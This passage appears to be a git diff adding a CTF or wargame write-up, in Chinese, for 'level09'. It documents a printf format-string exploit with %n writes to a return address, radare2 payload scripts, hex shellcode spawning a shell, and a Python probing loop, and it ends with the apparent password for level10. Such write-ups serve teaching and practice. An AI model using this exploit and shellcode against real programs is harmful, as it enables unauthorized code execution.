diff options
-rw-r--r-- | level09 | 107 |
1 files changed, 107 insertions, 0 deletions
@@ -0,0 +1,107 @@ +level9 存在 printf 格式化字符串漏洞的利用,其中可以使用 %n 修改内存地址。注意到该程序栈的位置固定,ebp 为 0xbffffc78,返回地址位于 ebp+4=0xbffffc7c,记其为 ra. + +反汇编可知,buf 在 ebp-0x418=0xbffff860,栈顶在 ebp-0x428,我们先用3个%02hhx消耗掉 buf 之前的 3 个参数,然后填写 ra 至 ra+4 使得 %n 可以写 4 个字节至 ra. 于是利用串如下: + + <ra>,<ra+1>,<ra+2>,<ra+3>,shellcode,%02hhx,%02hhx,%02hhx,...%n...%n...%n...%n... + +shellcode 的位置为 buf+16=0xbffff870. 往 ra, ra+1, ra+2 处写入 0x70, 0xf8, 0xff,往 ra+3 写入 0x1bf 即可使返回地址指向 buf. + +[0x00000000]> wxs 7cfcffbf +[0x00000004]> wxs 7dfcffbf +[0x00000008]> wxs 7efcffbf +[0x0000000c]> wxs 7ffcffbf +[0x00000010]> wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 +[0x0000003f]> w %02hhx%02hhx%02hhx +[0x0000003f]> s +18 +[0x00000051]> 43 wxs 20 +[0x0000007c]> w %n +[0x0000007c]> s +2 +[0x0000007e]> 136 wxs 20 +[0x00000106]> w %n +[0x00000106]> s +2 +[0x00000108]> 7 wxs 20 +[0x0000010f]> w %n +[0x0000010f]> s +2 +[0x00000111]> 192 wxs 20 +[0x000001d1]> w %n +[0x000001d1]> wtf /tmp/exp_.bin 0x1d3 @ 0 +[0x000001d3]> q + +测试后发现失败,原因是 argv[1] 变长后 ebp 位置发生改变。注意到 argv[1] 和 buf 至多 1k 字节,ebp 和 ebp-0x418-4 仍为 0xbffffxxx,可以让 argv[1] 长度不变,只调整相应数值。 + +用调试器可以看出,在这个 argv[1] 长度下,ra=0xbffffaac,shellcode 位置为 ra-4-0x418+16=0xbffff6a0. 调整 radare2 脚本: + +wxs acfaffbf +wxs adfaffbf +wxs aefaffbf +wxs affaffbf +wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 +w %02hhx%02hhx%02hhx +s +18 +# now 0x45 bytes will be printed +# 0xa0 - 0x45 = 91 +91 wxs 41 +w %n +s +2 +# 0xf6 - 0xa0 = 86 +86 wxs 41 +w %n +s +2 +# 0xff - 0xf6 = 9 +9 wxs 41 +w %n +s +2 +# 0x1bf - 0xff = 192 +192 wxs 41 +w %n +wtf /tmp/exp_.bin 0x1d3 @ 0 + +测试后发现 gdb 可以 exec 命令,但是直接运行还是不行。 + +考虑到在程序调用 strncpy 时,argv[1] 的地址已经在栈中,我们可以尝试找到 argv[1] 和 ebp 的关系。用以下脚本可以检查 pad 的地址: + +import os +start = 0 +while start < 0x1000: + lo = start & 0xff + hi = (start >> 8) & 0xff + hi = hi + 0xf0 + if lo != 0 and hi != 0: + s = chr(lo) + chr(hi) + b"\xff\xbf_%p_%x_%x_%n%263$x_000" + print(start) + os.system(b"/levels/level09 '" + s + "'") + print("") + start = start+4 + +测得 start=3196 时 pad 的值被修改,并且 argv[1]=0xbffffe41. 即 argv[1]=0xbffffe41 时 ebp-0xc=0xbffffc7c, ebp=0xbffffc88. + +用 gdb 可以看出,argv[1]&(-16) 和 ebp 的距离为一个固定的值。在这里,这个固定的值为 0xbffffe40-0xbffffc88=440. 我们重新用上述 radare2 脚本,把第一个 %02hhx 改为 %p,查看 argv[1] 的值 0xbffffc94,定位出 ebp=0xbffffe48,再调整 shellcode 地址,终于过关。 + +$ cat /tmp/exp.txt +wxs dcfaffbf +wxs ddfaffbf +wxs defaffbf +wxs dffaffbf +wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 +w %p%02hhx%02hhx +s +14 +# now 0x4d bytes will be printed +# we need the address 0xbffff6d0 +# 0xd0 - 0x4d = 147 +131 wxs 41 +w %n +s +2 +# 0xf6 - 0xd0 = 22 +38 wxs 41 +w %n +s +2 +# 0xff - 0xf6 = 9 +9 wxs 41 +w %n +s +2 +# 0x1bf - 0xff = 192 +192 wxs 41 +w %n +wtf /tmp/exp_.bin 0x1c7 @ 0 + +level10 UT3ROlnUqI0R2nJA |